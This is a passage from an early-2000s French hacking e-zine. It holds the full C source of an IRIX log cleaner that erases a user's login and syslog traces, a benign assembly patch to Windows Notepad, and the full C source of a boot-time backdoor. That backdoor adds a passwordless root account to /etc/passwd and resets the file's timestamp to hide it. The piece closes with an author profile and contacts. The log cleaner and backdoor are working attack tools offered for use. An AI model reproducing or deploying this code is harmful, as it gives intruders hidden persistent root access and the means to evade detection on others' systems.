un fichier mais un répertoire. Pour faire court, on dira que les derniers logins sont enregistrés dans un fichier distinct pour chaque utilisateur. Ainis, si vous vous utilisez le compte "toto", il vous faudra nettoyer /var/adm/lastlog/toto, - je ne sais pas pourquoi je fais une fixation sur toto - . Getafix détermine automatiquement la position du fichier lastlog pour le compte que vous utilisez, pas besoin donc de modfier le source. ¤ Le fichier /var/adm/SYSLOG est l'équivalent sous irix des fichiers /var/log/messages et /var/log/secure sous linux. ¤ J'ai rencontré un petit problème en écrivant ce prog : il semblerait que sous irix, dumoins sous les 6.5 sur lesquelles je l'ai testé, la structure "utmp" n'ait pas de champ "ut_hosts". Les entrées de utmp et de wtmp sont donc recherchée seulement par logins, ce qui a pour conséquences qu'une mauvaise entrée risque d'être effaçée en plus de la bonne ; pour l'instant, il faudra faire avec, et comme on dit, on ne fait pas d'omelettes sans casser des oeufs. Voici la bête ... /* GETAFIX V1.0 -by Neofox 03/02 * * Here is a log cleaner designed for IRIX. * It cleans utmp, wtmp, lastlog and SYSLOG * without zeroing entries out. * To compile : gcc getafix.c -o getafix * * Tested on IRIX 6.5 * */ #include /* fprintf */ #include /* system */ #include /* strncmp, lseek */ #include /* I don't remeber */ #include /* open, close */ #include /* stat */ #include /* stat */ #include /* getpwnam */ #include /* struct utmp, wtmp */ #include /* struct lastlog */ /* Original log files */ #define UTMP "/var/adm/utmp" #define WTMP "/var/adm/wtmp" #define LASTLOGDIR "/var/adm/lastlog/" #define SYSLOG "/var/adm/SYSLOG" /* Cleaned log files */ #define NEWUTMP "/tmp/.utmp" #define NEWWTMP "/tmp/.wtmp" #define NEWLASTLOG "/tmp/.lastlog" #define NEWSYSLOG "/tmp/.SYSLOG" /* here comes buffer for SYSLOG */ #define BIGSIZE 9999999 char buf[BIGSIZE]; char lastlog[50]; /* File descriptors */ int input, output; FILE *in, *out; /* Counters */ int i, count, size; /* Structures */ struct passwd *pwd; struct utmp u; struct utmp w; struct lastlog l; struct stat status; int main (int argc, char *argv[]){ if(argc!=3){ fprintf(stderr,"Usage : %s \n", argv[0]); exit(1); } if(geteuid()!=0){ fprintf(stderr,"%s is not suid root, aborting!\n", argv[0]); exit(-1); } fprintf(stderr, "[*]-Getafix v1.0 -by Neofox [IOC]\n"); if((pwd=getpwnam(argv[1]))==NULL){ fprintf(stderr,"[*]-%s : no such user!\n", argv[1]); exit(-1); } /**************************************************/ /* PROCESSING WTMP */ /**************************************************/ fprintf(stdout,"[1]-Checking %s : ",WTMP); size=sizeof(w); if((input=open(WTMP, O_RDONLY))<0){ fprintf(stdout,"access refused ?!\n"); close(input); } if((output=creat(NEWWTMP, O_CREAT | O_WRONLY))>0){ while((read(input, &w, size))>0){ if(strncmp(w.ut_name,argv[1],strlen(argv[1]))==0){ i++; count++; }else{ write(output,&w,size); } } } if(i>0){ fprintf(stdout,"%d track(s) removed\n",i); } else{ fprintf(stdout,"No such entry, aborting\n"); } close(input); close(output); /**************************************************/ /* PROCESSING UTMP */ /**************************************************/ fprintf(stdout,"[2]-Checking %s : ",UTMP); size=sizeof(u); if((input=open(UTMP, O_RDONLY))<0){ fprintf(stdout,"access refused ?!\n"); close(input); } if((output=creat(NEWUTMP, O_CREAT | O_WRONLY))>0){ while((read(input, &u, size))>0){ if(strncmp(u.ut_name,argv[1],strlen(argv[1]))==0){ i=0; i++; count++; }else{ write(output,&u,size); } } } if(i>=1){ fprintf(stdout,"%d track(s) removed\n",i); } else{ fprintf(stdout,"No such entry, aborting\n"); } close(input); close(output); /**************************************************/ /* PROCESSING LASTLOG */ /**************************************************/ strcat(lastlog,LASTLOGDIR); strcat(lastlog,argv[1]); fprintf(stdout,"[3]-Checking %s : ",lastlog); size=sizeof(l); if((input=open(lastlog, O_RDONLY))<0){ fprintf(stdout,"access refused ?!\n"); close(input); } if((output=creat(NEWLASTLOG, O_CREAT | O_WRONLY))>0){ while((read(input, &l, size))>0){ if(strncmp(l.ll_host,argv[2],strlen(argv[2]))==0){ i=0; i++; count++; }else{ write(output,&l,size); } } } if(i>=1){ fprintf(stdout,"%d track(s) removed\n",i); } else{ fprintf(stdout,"No such entry, aborting\n"); } close(input); close(output); /**************************************************/ /* PROCESSING SYSLOG */ /**************************************************/ if(stat(SYSLOG,&status)==-1){ fprintf(stderr,"There's no %s here!\n",SYSLOG); goto error; } fprintf(stdout,"[4]-Checking %s : ",SYSLOG); if((in=fopen(SYSLOG,"r+"))<0){ fprintf(stdout,"access refused ?!\n"); fclose(in); } if((out=fopen(NEWSYSLOG,"w+"))>0){ while(fgets(buf,size,in)!=NULL){ if((strstr(buf,argv[1])==0)&&(strstr(buf,argv[2])==0)){ fputs(buf,out); }else{ i++, count++; } } } fclose(in); fclose(out); if(i>0){ fprintf(stdout,"%d track(s) removed\n",i); } else{ fprintf(stdout,"No such entry, aborting\n"); } /* this label is used if SYSLOG doesn't exists */ error : /* check if it's allright */ if(count==0){ fprintf(stderr,"[*]-No entries found :"); fprintf(stderr," you're maybe not safe !\n"); exit(1); } /**************************************************/ /* REPLACING LOG FILES */ /**************************************************/ /* Removing original log files */ unlink(WTMP); unlink(UTMP); unlink(lastlog); unlink(SYSLOG); /* New log files have been replaced */ link(NEWWTMP,WTMP); link(NEWUTMP,UTMP); link(NEWLASTLOG,lastlog); link(NEWSYSLOG,SYSLOG); /* Mode is going to be set to 644 */ chmod(WTMP,00644); chmod(UTMP,00644); chmod(lastlog,00644); chmod(SYSLOG,00644); /* Erasing our /tmp files */ unlink(NEWWTMP); unlink(NEWUTMP); unlink(NEWLASTLOG); unlink(NEWSYSLOG); /* well, congratulations !*/ if(count>=3){ fprintf(stderr,"[*]-Good job, tracks succesfully removed!\n"); }else{ fprintf(stderr,"[*]-Tracks partially removed!\n"); } return 0; } --------------------------------------------------------------------------------------------------- VIII. Corriger le "bug" du Notepad de Windows Emper0r ---------------------------------------------------------------------------------------------------- [ Introduction ] A partir d'une certaine taille le notepad de windows ne peut plus ouvrir les txt et nous demande si on veut l'ouvrir avec le worpad. Ca me parait assez idiot si on a envie de lire ce txt on s'en fou que ce soit avec le notepad ou le worpad ; moi ca m'énerve d'appuyer sur OUI a chaque fois. Je vais apporter une petite modif très simple pour virer cette boite et worpad s'ouvrira automatiquement, quand le fichier sera trop important pour être ouvert avec notepad. [ Au travail ] Pour trouver l'endroit où s'ouvre cette boite 2 solutions: -Avec softice: Je lance le notepad ; je pose un 'bpx messageboxa' ; ensuite avec le notepad j'ouvre un .txt de grande taille, la softice break je me retrouve direct sur le call qui ouvre la msgbox. -Avec WDASM: Je dessasemble ce notepad et je regarde les imported functions, (Imp Fn). Je recherche toute les référencés a l'api MessageBoxA ; a partir de la troisième, je trouve quelque chose d'interrésent: * Reference To: USER32.MessageBoxA, Ord:01ACh | :004033B1 FF15A8644000 Call dword ptr [004064A8] ->Affiche la MessageBoxA :004033B7 83F806 cmp eax, 00000006 ->EAX=6 si appui sur OUI :004033BA 0F85A7000000 jne 00403467 ->Si EAX différent de 6 :004033C0 6804010000 push 00000104 alors saute en 403467 :004033C5 8D858CFDFFFF lea eax, dword ptr [ebp+FFFFFD8C] :004033CB 837D1001 cmp dword ptr [ebp+10], 00000001 :004033CF 1BFF sbb edi, edi :004033D1 50 push eax :004033D2 83C737 add edi, 00000037 * Possible Reference to String Resource ID=00056: "wordpad.exe" ->Intéréssant | :004033D5 6A38 push 00000038 :004033D7 FF3540554000 push dword ptr [00405540] * Reference To: USER32.LoadStringA, Ord:019Eh ->Permet le lancement du | Wordpad :004033DD FF1520644000 Call dword ptr [00406420] [ Explications ] En 4033B1 ou on ouvre la MessageBoxA avec les bouton OUI et NON si on appui sur OUI alors EAX=6, dans ce cas le saut en 4033BA n'est pas effectuer et on voit en 4033d5 et 4033D7 les 2 push qui initialise l'api LoadStringA qui permet de lancer le Wordpad. Maintenant très simple on va remplace le 'Call dword ptr [004064A8]' en 4033B1 par un 'mov EAX, 00000006'. De cette facon la messagebox n'est pas affichée, EAX sera toujours = a 6, le saut n'est pas effectué et le worpad ce lance. Pour trouver le code hexa de 'mov EAX, 00000006' avec wdasm: Debug, patch code et on tape: mov eax, 6 ENTRéE, ce qui nous donne B806000000. on remplace a l'offset 33B1: FF15A8644000 par B80600000090 --> TRES IMPORTANT: ne pas oublier de rajouter un NOP a la fin pour obtenir le même nombres d'octets. Ce qui donne: :004033B1 B806000000 mov eax, 00000006 :004033B6 90 nop :004033B7 83F806 cmp eax, 00000006 :004033BA 0F85A7000000 jne 00403467 :004033C0 6804010000 push 00000104 :004033C5 8D858CFDFFFF lea eax, dword ptr [ebp+FFFFFD8C] :004033CB 837D1001 cmp dword ptr [ebp+10], 00000001 :004033CF 1BFF sbb edi, edi :004033D1 50 push eax :004033D2 83C737 add edi, 00000037 * Possible Reference to String Resource ID=00056: "wordpad.exe" | :004033D5 6A38 push 00000038 :004033D7 FF3540554000 push dword ptr [00405540] * Reference To: USER32.LoadStringA, Ord:019Eh | :004033DD FF1520644000 Call dword ptr [00406420] [ Conclusion ] Voilà c'est tout, je pense que c'est la façon la plus simple et la plus propre de faire. ----------------------------------------------------------------------------------------------- IX. Une petite backdoor Neofox ----------------------------------------------------------------------------------------------- NAME: BACKPASS.c V1.0 DATE: 12/03/02 DESCRIPTION: Petite backdoor exécutée à chaque démarrage qui examine le contenu de /etc/passwd à la recherche d'une ligne UID/GID 0 et passwordless. Si cette ligne n'existe pas alors l'entrée "jsmith::0:0:John Smith:/home/jsmith:/bin/sh" est ajoutée dans le milieu du fichier de mots de passe. La date de ce fichier est ensuite remplaçée par celle de la dernière modification. Les comptes utilisateurs sont rangés par ordre d'UID croissant. Pour déterminer le milieu du fichier, cette backdoor se base sur la valeur des UID. Si les ID des users s'échelonnent entre 100 et 5000, attribuez une valeur comme 2500 à "CENTERUID". Ainsi, la nouvelle entrée sera plaçée au milieu de celles des autres utilisateurs. USAGE: Modifiez le script de démarrage approprié de manière à faire lançer cet exécutable à chaque reboot. Il s'agit en général de /etc/rc.d/rc.local. Regardez l'allure des entrées du fichier passwd et editez les #define en conséquence. --------------8<-------------------------------------------- /* BACKPASS.c V1.0 -by Neofox */ #include /* fprintf */ #include /* system */ #include /* getpwnam */ #include /* localetime_r */ #include /* fopen, fclose */ #include /* strcat */ #include /* stat */ #include /* stat */ #define PASSWD "/etc/passwd" #define CENTERUID 500 /* let's define our account */ #define USER "jsmith" #define PWD "" #define UID 0 #define GID 0 #define GECOS "John Smith" #define DIR "/home/jsmith" #define SHELL "/bin/sh" int i; /* counter */ FILE *output; /* file descriptor */ struct tm t; /* time */ struct stat status; /* stat */ struct passwd *pwd; /* euh ? */ /* here's what we'll need to change date */ time_t date; int year, month, day, hour, min; char newtime[50], change[50]; char annee[5],mois[5],j[5],h[5],m[5]; void changedate(){ /* to convert time value */ /* on a normal date */ date=status.st_ctime; localtime_r(&date,&t); year=1900+t.tm_year; month=1+t.tm_mon; day=t.tm_mday; hour=t.tm_hour; min=t.tm_min; /* We must have [yyyymmddhhmm] */ sprintf(annee,"%d",year); if(month<10){ sprintf(mois,"0%d",month); } else { sprintf(mois,"%d",month); } if(day<10){ sprintf(j,"0%d",day); } else { sprintf(j,"%d",day); } if(hour<10){ sprintf(h,"0%d",hour); } else { sprintf(h,"%d",hour); } if(min<10){ sprintf(m,"0%d",min); } else { sprintf(m,"%d",min); } /* copying all in a buffer */ strcat(newtime, annee); strcat(newtime, mois); strcat(newtime, j); strcat(newtime, h); strcat(newtime, m); /* executing buffer */ sprintf(change,"touch -t %s %s",newtime,PASSWD); system(change); } int main (int argc, char *argv[]){ if(argc!=1){ exit(1); } if(geteuid()!=0){ exit(1); } /* if backdoor is already on */ if((pwd=getpwnam(USER))!=0){ exit(1); } /* Looking for /etc/passwd date */ if((stat(PASSWD,&status))<0){ exit(-1); } if((output=fopen(PASSWD, "rw+"))>0){ i=1; while((pwd=getpwent())>0){ putpwent(pwd,output); if(pwd->pw_uid>300){ if(i>0){ fprintf(output,"%s:",USER); fprintf(output,"%s:",PWD); fprintf(output,"%d:",UID); fprintf(output,"%d:",GID); fprintf(output,"%s:",GECOS); fprintf(output,"%s:",DIR); fprintf(output,"%s",SHELL); fprintf(output,"\n");i=0; } } } fclose(output); } /* Now, we have to */ /* restore the date */ changedate(); return 0; } --------------8<-------------------------------------------- ---------------------------------------------------------------------------------------- X. Profil : Neofox Par Neofox, ben tien ... ---------------------------------------------------------------------------------------- Ah, voici venir enfin, le moment que vous attendez avec impatience : Nous allons parler de mon sujet préféré entre tous, j'ai nommé ... MOA !! -[ Voix off ] << pfff ... remballe ton ego mon grand ! >> Bon, trève de plaisanterie. Je vais vous brosser mon portrait, non pas justement dans un élan d'egocentrisme, mais pour que vous puissiez avoir une idée de celui à qui vous avez à faire. Commençons par le commençement : Je m'apelle Xxxx-Xxxxxxxxx Xxxx, mais pour vous ce sera neofox. Je suis né par un beau matin de février, un jeudi je crois, aux alentours de 4h55 à la maternité du 3 éme étage, mais comme tout le monde s'en pête à juste raison, retenez simplement que je suis du début des années 80, et d'ailleurs, je ne préciserais pas mon âge exact ; Je n'ai pas vraiemment le profil scientifique ; ma prof de math, cette s...... m'a même traité de fumiste un jour. Enfin, passons. Tout gamin, j'étais passionné d'astronomie, je le suis toujours ; c'est à cette époque - je devais avoir 8 ou 10ans - que j'ai touché pour la première fois un ordi, dans la salle info du club d'astro, mais ça ne compte pas. Contrairement à certains petits veinards qui ont attaqué la prog assez jeunes - je parle de toi Meik - j'ai eu mon premier vrai contact avec un PC et mon premier PC à moi, assez tardivement, vers l'âge de 15 ans ; malheureusement je ne suis pas venu directement à la programmation. Rien ne me destinait donc à faire carrière en informatique, c'est d'ailleurs pour ça que je ne ferai jamais carrière, dommage. Hein ? ... depuis quand je hack ? Ca tombe bien que vous me posiez cette question ; enfait, je ne 'hack' pas ; je préfère, de loin, mais alors de loin, parler de piratage ; de toute façon, l'essentiel de mon activité se compose de programmation. J'ai développé cette passion un peu par hasard ; c'était il y à un peu plus d'un an, mes premiers pas en programmation remontant à Janvier 2001. J'ai pleinement conscience de n'être pas elite dans ce domaine, mais je garde espoir d'arriver un jour à ce niveau. Dans l'immédiat, je me définis comme << apprenti >>, mais de toute manière, nous sommes tous en perpétuel apprentissage, non ? En Juillet 2001, Meik m'a proposé de me joindre à lui pour l'écriture de ce mag et j'ai trouvé l'idée intéessante pour deux raisons : tout dabord, car l'écriture d'articles me permet de structurer mes conaissances sur un sujet précis ; ensuite, car cela me pousse à explorer de nouvelles notions ; je prends des notes, je paufine ce que je savais déja, j'approfondis, et c'est le résultat que je publie dans ce mag ; tant mieux si ça peut servir à quelqu'un. En somme, faire partie de ce petit groupe est trés enrichissant. Par ailleurs, je dois avouer que c'est plus sympa de participer à l'élaboration d'un projet en commun, que de se retrouver à coder tout seul dans son coin. Voila, c'est à peu prés tout ... *** Pour participer activement à l'amélioration de *** mon cadre de vie, envoyez vos dons à l'adresse qui s'affiche en bas de votre écran. Merci. -------------------------------------------------------------------------------------------- XI. CONTACTS IOC Staff -------------------------------------------------------------------------------------------- ONT PARTICIPE A L'ELABORATION CE CE MAGAZINE : ¤ Meik : meik666@hotmail.com #150635264 ¤ Neofox : neo_fox_2001@hotmail.com #150837448 ¤ Emper0r : emper0r@secureroot.com #66985563 ¤ Disk-Lexic : buffergohst@caramail.com EN COLLABORATION EXCEPTIONELLE AVEC : ¤ Androgyne : rtcandrogyne@yahoo.fr #? ____ ___ __ __ ____ __ __ __ ___ __ ___ __ __ / __| / \ | '_ \ / __|| | | | | |/ __/| | / \ | '_ \ | [__ | [ ] || | | || [__ | |_| - |\__ \| || [ ] || | | | \____| \_____/ |__| |__| \____||____|\______||___/|__| \_____/ |__| |__| C'est tout pour l'instant ; quelle(s) conclusion(s) pouvons nous tirer de cette nouvelle issue ? Eh bien, qu'elle a été pour nous l'occasion d'une collaboration sympa, entre plusieurs passionnés tous domaines confondus, c'est déja ça ! Nous souhaiterions voir ce mouvement s'intensifier au cours des issues à venir, mais ça dépendra de vous ; bref, pour conclure cette conclusion, - comme quoi, c'est un travail structuré ;@) - nous espérons que vous avez aprécié ces quelques articles et nous vous donnons rendez -vous à la sortie du prochain numéro ; on va terminer sur une petite pensée bien connue: << Give Chang a fish, you'll food him for a day. Teach Chang how to fish, you'll food him for the rest of this life >> ; à méditer. - Copyright © 2002 [IOC] -